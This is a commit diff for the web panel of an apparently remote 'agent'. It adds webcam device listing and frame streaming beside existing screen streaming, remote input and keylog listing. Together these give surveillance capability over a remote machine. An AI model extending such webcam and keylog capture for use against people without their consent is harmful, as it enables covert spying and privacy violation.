Add webcam functionality to the agent's API and web interface. Implement endpoints for listing available webcams and capturing frames, along with corresponding UI elements for device selection and frame display. Update OpenAPI specification to include new webcam features, enhancing user interaction with webcam devices.

lib/agent/web/app.js

@@ -21,10 +21,16 @@
   const videoStop = document.getElementById("video-stop");
   const videoInteract = document.getElementById("video-interact");
   const videoKeyHint = document.getElementById("video-key-hint");
+  const webcamCanvas = document.getElementById("webcam-canvas");
+  const webcamMeta = document.getElementById("webcam-meta");
+  const webcamDevice = document.getElementById("webcam-device");
+  const webcamStart = document.getElementById("webcam-start");
+  const webcamStop = document.getElementById("webcam-stop");
 
   let objectUrls = [];
   let videoRunning = false;
   let videoTabActive = false;
+  let webcamRunning = false;
   let selectedLogName = "";
   let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
 
@@ -308,6 +314,76 @@
     releaseRemoteModifiers().catch((err) => showError(err.message));
   }
 
+  async function refreshWebcams() {
+    const res = await api("/api/v1/webcam");
+    const data = await res.json();
+    const devices = data.devices || [];
+    const prev = webcamDevice.value;
+    webcamDevice.replaceChildren();
+    if (!devices.length) {
+      const opt = document.createElement("option");
+      opt.value = "";
+      opt.textContent = "No webcams found";
+      webcamDevice.append(opt);
+      webcamMeta.textContent = "No capture devices";
+      return;
+    }
+    for (const device of devices) {
+      const opt = document.createElement("option");
+      opt.value = String(device.index);
+      opt.textContent = `${device.index}: ${device.name}${device.version ? ` (${device.version})` : ""}`;
+      webcamDevice.append(opt);
+    }
+    if ([...webcamDevice.options].some((o) => o.value === prev)) {
+      webcamDevice.value = prev;
+    }
+    webcamMeta.textContent = `${devices.length} device(s)`;
+  }
+
+  async function pullWebcamFrame() {
+    const device = webcamDevice.value;
+    if (device === "") throw new Error("no webcam selected");
+    const quality = clamp(document.getElementById("webcam-quality").value, 1, 100);
+    const res = await api(
+      `/api/v1/webcam/frame?device=${encodeURIComponent(device)}&format=jpeg&quality=${encodeURIComponent(quality)}`
+    );
+    const blob = await res.blob();
+    const bitmap = await createImageBitmap(blob);
+    if (webcamCanvas.width !== bitmap.width || webcamCanvas.height !== bitmap.height) {
+      webcamCanvas.width = bitmap.width;
+      webcamCanvas.height = bitmap.height;
+    }
+    webcamCanvas.getContext("2d").drawImage(bitmap, 0, 0);
+    const w = Number(res.headers.get("X-Webcam-Width") || bitmap.width);
+    const h = Number(res.headers.get("X-Webcam-Height") || bitmap.height);
+    webcamMeta.textContent = `${w}×${h} · device ${device}`;
+    bitmap.close();
+  }
+
+  async function startWebcam() {
+    if (webcamRunning) return;
+    webcamRunning = true;
+    webcamStart.disabled = true;
+    webcamStop.disabled = false;
+    while (webcamRunning) {
+      const started = Date.now();
+      try {
+        await pullWebcamFrame();
+      } catch (err) {
+        showError(err.message);
+      }
+      if (!webcamRunning) break;
+      const fps = clamp(document.getElementById("webcam-fps").value, 1, 10);
+      await sleep(Math.max(0, 1000 / fps - (Date.now() - started)));
+    }
+  }
+
+  function stopWebcam() {
+    webcamRunning = false;
+    webcamStart.disabled = false;
+    webcamStop.disabled = true;
+  }
+
   async function pullVideoFrame() {
     const quality = clamp(document.getElementById("video-quality").value, 1, 100);
     const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
@@ -590,6 +666,16 @@
     startVideo().catch((err) => showError(err.message));
   });
   videoStop.addEventListener("click", () => stopVideo());
+  document.getElementById("webcam-refresh").addEventListener("click", () => {
+    refreshWebcams().catch((err) => showError(err.message));
+  });
+  webcamStart.addEventListener("click", () => {
+    startWebcam().catch((err) => showError(err.message));
+  });
+  webcamStop.addEventListener("click", () => stopWebcam());
+  document.getElementById("webcam-snap").addEventListener("click", () => {
+    pullWebcamFrame().catch((err) => showError(err.message));
+  });
   videoCanvas.addEventListener("click", (event) => {
     sendClick(event, "left").catch((err) => showError(err.message));
   });
@@ -620,5 +706,5 @@
     listKeylogs().catch((err) => showError(err.message));
   });
 
-  Promise.all([loadHealth(), loadStatus(), listFiles("")]).catch((err) => showError(err.message));
+  Promise.all([loadHealth(), loadStatus(), listFiles(""), refreshWebcams()]).catch((err) => showError(err.message));
 })();